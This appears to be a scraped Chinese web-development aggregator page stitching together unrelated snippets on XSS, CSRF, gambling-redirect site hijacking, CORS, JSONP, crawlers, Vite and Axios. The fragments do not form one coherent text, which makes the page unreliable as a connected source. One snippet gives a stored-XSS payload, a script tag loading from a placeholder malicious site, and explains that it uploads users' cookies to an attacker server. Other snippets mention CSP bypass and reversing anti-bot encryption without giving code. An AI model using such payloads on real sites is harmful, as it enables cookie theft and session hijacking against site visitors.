说明：safe1.html,safe2.html,safe3.html;fish1.html/fish2.html/fish3.html 的区别仅在于请求接口不用。
能注入恶意的HTML/JavaScript代码到用户浏览的网页上，从而达到Cookie资料窃取、会话劫持、钓鱼欺骗等攻击。
CSRF（全称 Cross-site request forgery），即跨站请求伪造
网站被黑症状的一种形式，也就是web前端被黑了，我来说说网站页面被劫持的一个症状和处理方法。首先我们先来看一下这个症状是什么样的，这里我找到了一个客户网站的案例，那么当我在通过百度搜索某些关键词的时候，当我点击这个链接的时候，它会给你跳到这种菠菜的页面，那么怎么样判断它是前端还是后端PHP进行了一个劫持，那么我们就把这个链接复制过来，复制好了后，我打开这个调试面板，然后在这里有一个 settings的这个一个设置按钮，把这个disable javascript这个脚本把它禁用，那么禁用之后把刚才这复制过来的这个快照链接把它复制过来，然后敲一下回车，就会发现发现它是不会跳转的，所以对于这一种请求跳转，我们把它称之为叫做前端拦截。要知道前一两年这种形式还是比较少的，但是今年发现的就越来越多，原因是什么，原因是PHP脚本里包含跳转代码的话会被杀毒软件直接查杀出来。
摘要总结：本文介绍了如何通过Python爬虫从上海高级人民法院网爬取开庭公告数据，并对数据进行分析。首先，作者介绍了爬虫的基本流程和重要的知识点。然后，详细分析了目标网站和目标数据的分析。最后，通过一个实例展示了如何实现数据的爬取和分析。
利用漏洞提交恶意 JavaScript 代码，比如在input, textarea等所有可能输入文本信息的区域，输入<script src="http://恶意网站"></script>等，提交后信息会存在服务器中，当用户再次打开网站请求到相应的数据，打开页面，恶意脚本就会将用户的 Cookie 信息等数据上传到黑客服务器。
高性能网站架构方案（二）——优化网站响应时间 （原创内容，转载请注明来源，谢谢） 一、概述 优化网站响应时间是保证网站受用户关注的要点，主要方案有： 1、减少HTTP请求 当需要加载图片、css、js等内容时，尽量减少加载的次数。可以合并加载，另外当改动量很少时，尽量将内容进行缓存。 图片的缓存可以设定更新时间，定时去服务器查看是否有需要更新的内容。通常可以定时在1周甚至更久的时间。 CSS、JS的缓存，通常可以通过文件名的方式来判断是否需要重新加载。当网页确定需要加载某些js和c
这段时间接手了一个新需求，将一个ASP.NET MVC项目改成前后端分离项目。前端使用Vue，后端则是使用ASP.NET WebApi。在搭建完成前后端框架后，进行接口测试时发现了一个前后端分离普遍存在的问题跨域（CORS）请求问题。因此就有了这篇文章如何启用ASP.NET WebApi 中的 CORS 支持。
res.setHeader('Content-Type', 'text/plain;charset=utf-8');
大家经常会看到QQ空间自动转发一些附带链接的不良信息，即便我们的QQ密码并没有被盗取。 最近通过对一个QQ空间自动转发链接进行分析，发现该自动转发机制通过利用腾讯网站存在漏洞的页面，精心构造出利用代码
Ajax 即 “Asynchronous Javascript And XML”（异步 JavaScript 和 XML），是指一种创建交互网页应用的网页开发技术（用来向后台数据库请求获取数据的技术）。
前言 随着2021年深秋的到来，一波由旅行团所导致的疫情迅速在全国各地蔓延开来，兰州，我的家乡，在这次疫情中影响很大，为了能更好的为大家展现疫情发展的实时概括，我觉得开发一次项目，关于疫情发展的可视化界面。 采用技术
前端的优化，主要可以通过减少HTTP请求、非实时请求改异步、缓存、文件压缩、CDN加速、独立图片服务器等。
Jsonp 的实现原理就是：创建一个回调函数，然后在远程服务上调用这个函数并且将 JSON 数据形式作为参数传递，完成回调。
本系列文章总结归纳了一些软件测试工程师常见的面试题，主要来源于个人面试遇到的、网络搜集（完善）、工作日常讨论等，分为以下十个部分，供大家参考。如有错误的地方，欢迎指正。有更多的面试题或面试中遇到的坑，也欢迎补充分享。希望大家都能找到满意的工作，共勉之！
一些网站是采用检测此IP地址登录的密集度，多次登录后需要输入验证码，那么这时CURL模拟的提交就需要去对验证码图片进行分析，这样就会花费大量时间，当然，这种是对于防止登录被爆破，用户资料泄露的。
Vite是什么就不用笔者多说了，用过Vue的朋友肯定都知道，本文会通过手写一个非常简单的乞丐版Vite来了解一下Vite的基本实现原理，参考的是Vite最早的版本（vite-1.0.0-rc.5版本，Vue版本为3.0.0-rc.10）实现的，现在已经是3.x的版本了，为什么不直接参考最新的版本呢，因为一上来就看这种比较完善的工具源码比较难看懂，反正笔者不行，所以我们可以先从最早的版本来窥探一下原理，能力强的朋友可以忽略~
访问站点只要后面目录带apk（不管是文件还是目录），就会判断请求头，如果为手机移动端的请求头,就会跳转到博彩网站，如果是电脑PC浏览器，就会弹空白页访问站点，让你看不到跳转后的网址，只要域名后面地址带apk（不管是文件还是目录），就会判断请求头，如果为手机移动端的请求头,就会跳转bc网站，如果是电脑浏览器，就会弹空白页，最近也加上客户订单越来越少，领导也是着急，很大一部分客户渠道来源都从百度点击来的，静下心来看看网站到底是怎么回事，不看不要紧，简直吓我一跳。网站在百度里的收录增加许多，本来以为是更新的文章导致的，可是仔细一想也没那么多的收录呀，site:网站，点击到十页以后竟然发现了问题的关键，百度收录了一大堆我们网站没有的URL链接，复制那个我们域名的链接，提示不存在，从百度收录点进去跳转到BC网站。
背景： 基友做了个APP，发了一排二维码，然后互相吐槽了一下，发现移动应用出现也一年了，虽然很简单，但是好像都懒得通过写个JS来判断然后发一个二维码让大家下载应用。虽然内容不多，而且没啥难度，但是动嘴不如动手，总要有人做，就专门整理一下。 简介： 提供了几个JS接口，通过这几个JS接口，可以轻松获取到当前打开页面的浏览器类型，然后根据类型跳转到对应的链接。同时也提供了两个demo方便大家参考。 对应链接：http://microdemo.bihe0832.com/MultiQrcode/index.htm
通过本问将看到我在vue的项目中，进行的一系列的项目优化，然后看到不同的维度将这些点进行分类。
本文介绍了前端性能优化中的直出方案，通过减少HTTP请求、合并小文件、懒加载、使用服务器端渲染等方式来提高首屏渲染速度，降低白屏时间，从而提升用户体验。同时，总结了实施直出方案过程中的一些经验和教训，包括前端路由的使用和React同构直出优化等。
在本文中，我以 https://gitee.com/Topcvan/js-notes-img/raw/master/%E5%AE%8F%E4%BB%BB%E5%8A%A1%E9%98%9F%E5%88%97.png 这个图片为例，重现下事发过程。
看到一个好玩的，就随手收藏一下，本 API 作用：获取用户真实 IP，而获取用户 IP 常见的坑有两个，开发支付的时候也需要获取用户的真实 IP： 获取的是内网的 ip 地址。在 Nginx 作为反向代理层的架构中，转发请求到 PHP，Java 等应用容器上。结果 PHP 获取的是 Nginx 代理服务器的 ip，表现为一个内网的地址。PHP 获取 REMOTE_ADDR 就是这样一个情况(内网地址)。 获取的是攻击者伪造的 ip 地址。攻击者可以随便伪造一个头部信息，随便填写一个 ip 放到头部发过来
我们以特性作为入口，解答上述问题的同时一起感受下 Axios 源码极简封装的艺术。
脚本错误主要有两类：语法错误、运行时错误。监控的方式主要有两种：try-catch、window.onerror。
跨站请求伪造（Cross Site Request Forgery），是指黑客诱导用户打开黑客的网站，在黑客的网站中，利用用户的登陆状态发起的跨站请求。CSRF攻击就是利用了用户的登陆状态，并通过第三方的站点来做一个坏事。
Axios 是一个基于 promise 的 HTTP 库，可以用在浏览器和 node.js 中。
传统爬虫从一个或若干初始网页的URL开始，获得初始网页上的URL，在抓取网页的过程中，不断从当前页面上抽取新的URL放入队列,直到满足系统的一定停止条件。聚焦爬虫的工作流程较为复杂，需要根据一定的网页分析算法过滤与主题无关的链接，保留有用的链接并将其放入等待抓取的URL队列。
服务器如果是集群，不同服务器返回的 Http Header 中的 Etag 参数不一样。如果是图片是程序生成的，我们可以用 no-cache 这些 header 来控制，但如果这些图片是 apache 或 nginx 等呢？
网络爬虫是一种程序或脚本，用于自动从网页中提取数据。网络爬虫的应用场景非常广泛，例如搜索引擎、数据挖掘、舆情分析等。本文将介绍如何使用JavaScript和Axios这两个工具，实现一个网络爬虫的实战项目，即从Reddit这个社交媒体平台上爬取视频，并进行数据分析。本文的目的是帮助读者了解网络爬虫的基本原理和步骤，以及如何使用代理IP技术，避免被目标网站封禁。
编者按：本文作者高峰 http://verymuch.site/，奇舞团前端工程师，W3C性能工作组成员，同时在WOT工作组学习。
利用 CSS in JS 来替代传统组织式的 CSS 代码，将 HTML 与 CSS 选择器解耦，实现真正的组件化
根据以往的博客,目前我就司的公司前端框架umi[1], ali出品以路由为基础的，同时支持配置式路由和约定式路由，保证路由的功能完备，并以此进行功能扩展的前端应用框架。
作者：LoRexxar'@知道创宇404实验室 时间：2021年4月16日 4月12号，@cursered[1]在starlabs上公开了一篇文章《You Talking To Me?》[2]，里面分
UNI-APP 是一个使用 Vue.js 开发所有前端应用的框架，开发者编写一套代码，可发布到iOS、Android、Web（响应式）、以及各种小程序（微信/支付宝/百度/头条/QQ/钉钉/淘宝）、快应用等多个平台。
4月12号，@cursered在starlabs上公开了一篇文章《You Talking To Me?》，里面分享了关于Webdriver的一些机制以及安全问题，通过一串攻击链，成功实现了对Webdr
2020 年下旬，Google Analytics 发布了 v4，数据收集接口迁移为向 analytics.google.com 发送 POST 请求，导致中国大陆不可用。于是因此就计划着开发了 Aofuji Analytics，作为一个超轻量级的自搭建数据收集工具，用于 GA 的简单替代。
文章是之前发表在安全智库的文章，主要是一些CSP的分析和一部分bypass CSP的实例
1.状态码返回200--表明服务器正常响应了客户端的请求； 2.通过firebug和IE的httpWatcher可以看出服务器端返回了正常的数据，并且是符合业务逻辑的数据。 但是，程序就是不进入到回调函数success: function(data){****}而是进入到error: function(data){***} 记得上次是因为存在跨域访问的问题导致。这次查看不存在跨域的问题。此时就很是不解。 事情的来源是这样的： 后台的配置管理模块中有一块是关于国际化的配置，增加国际化描述等等，查询国际化描述。 问题的来源是在输入key='a' 查询前十条数据时发现可以正常的展现数据，但是当我输入key值为z时，并且再查询前20条数据是发现数据不能展现，但是server返回了数据库中的数 据。这时第一反应是事不时数据返回的有问题，粗略的检查了返回的数据发现和第一次查询没有什么明显的区别。但是只查询第十四条数据时发现，显示不出来。这 时候就开始怀疑了数据问题，进而到数据库中查找第十四条数据没有发现什么特别的地方。 这时开始怀疑，难道是JS程序有处理数据兼容性有问题，觉得甚是不可思议。整了大约半小时，越来越觉得不大可能。就放弃了这种想法。 有转向，重新审视数据。 但是发现数据从中间换行了，没太在意。 在纠结了一会儿后问一同事，指出数据可能多了一个"回车键"，在其指点下到数据库表中再次查看该条数据发现有一个字段的值多了一个"回车键"。删除后，一切恢复正常。 思考第一次和第二次碰到的问题，我初步认识到： 1. 返回的数据类型一定要符合定义的数据类型。即如果你定义的 dataType 是 json 类型的，那么返回来的数据一定是 json 才可以，平且不然就会执行 error 里的程序块儿。 (1) 同时需要特别的注意返回的JSON数据是否是严格的JSON格式. (2) 也应该严重关切当后台返回的是一个List 数据（List当中的数据是Json格式）时，有没脏数据即不是严格的JSON格式。 很隐蔽的可能是数据某一个字段中在开始或末尾含有特殊字符，以"回车键"、"Tab键"等 这类隐蔽错误的规避措施就是好的编程习惯： a. 对于在页面填写入库的数据最好强制性的做，去空操作<利用客户端最好>。 b. 特殊的业务需注意特殊字符。 这样还不够，因为在开发过程中测试或开发人员自己在数据库中手动添加数据，可能会多加了空格等，导致程序调试，测试带来了麻烦。 这时就需要考虑在后台代码对获取的数据做处理。 2. 原因是ajax请求跨域了，解决方法是在两个文件里都添加一段 js: [/b]document.domain，或者采用Jsonp的方式，如我的前一篇blog中提到的。 还有一点对JQuery 中Ajax的一点其它的认识： 客户端发起请求，得到服务器端的相应是200，<正确拿到服务器响应的数据>没有问题.此时在判断进入success 对应的回调函数还是进入到error对应的回调函数之前，可能会校验一些东西： 1. 返回的每条数据是否是dataType中定义的数据类型。如果有部分数据不是或者哪怕一条数据没有严格的按照dataType定义的类型，程序就会进入到error:function(){****} 2. 请求的域和当前域是否是同一域，如果不是同一域也十分有可能进入error:function(){***}
微信公众号网页开发第一步是验证服务器这一步是必不可少的。我是用的是liunx系统搭配宝塔面板，基于node.js+nginx进行开发的。
👋👋👋hello，伙伴们好久不见，最近shigen遇到了很多的事情，现在算是安顿好了，也可以开始技术分享了。但是分享的频率的话，肯定会比之前低的很多，因为我也要正式的学习新的技术了。
什么是跨域？ 浏览器从一个域名的网页去请求另一个域名的资源时，域名、端口、协议任一不同，都是跨域 域名： 主域名不同 http://www.baidu.com/index.html –>http://www.sina.com/test.js 子域名不同 http://www.666.baidu.com/index.html –>http://www.555.baidu.com/test.js 域名和域名ip http://www.baidu.com/index.html –>http://180.149.132.47/test.js 端口： http://www.baidu.com:8080/index.html–> http://www.baidu.com:8081/test.js 协议： http://www.baidu.com:8080/index.html–> https://www.baidu.com:8080/test.js 备注： 1、端口和协议的不同，只能通过后台来解决 2、localhost和127.0.0.1虽然都指向本机，但也属于跨域
这里要切记，人力成本也是资源，而且比机器更重要。因为，根据摩尔定律，机器越来越便宜。而根据IT行业的发展趋势，程序员工资越来越贵。因此，通常服务器反爬就是让爬虫工程师加班才是王道，机器成本并不是特别值钱。
首先，咱们还是老规矩，先介绍一下什么是日志分析。 日志分析----计算机、网络和其他IT系统生成审计跟踪记录或记录系统活动的日志。日志分析是对这些记录的评估，帮助公司缓解各种风险并满足合规性法规。
这是我第一次接触瑞数加密，比较难，不过学到的东西也是挺多的，也是因为我第一次解瑞数，所以文章写得比较详细甚至是啰嗦，这篇文章大致是以我逆向的思路去写的，应该适合像我这样从未接触过瑞数的朋友。
DNS 是什么-- Domain Name System，域名系统，作为域名和IP地址相互映射的一个分布式数据库。
年底了，又到了跳槽季啦，该刷题走起了。这里总结了一些被问到可能会懵逼的面试真题，有需要的可以看下～
如果我们项目是前后端分离并且内容是AJAX动态获取想要进行网站排名优化（SEO）的话，可以使用prerender
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
云直播
